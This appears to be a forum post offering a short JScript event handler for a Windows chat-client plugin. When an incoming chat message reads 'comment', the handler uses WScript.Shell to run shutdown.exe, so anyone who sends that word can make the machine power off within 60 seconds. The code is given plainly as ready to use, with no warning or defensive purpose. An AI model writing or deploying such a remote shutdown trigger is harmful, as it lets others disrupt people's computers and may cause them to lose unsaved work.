This is all the code you need:
Javascript code:
function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)
{
if (Message == "comment")
{
var shell = new ActiveXObject('WScript.Shell').exec('C:\\Windows\\system32\\shutdown.exe -s -t 60');
}
}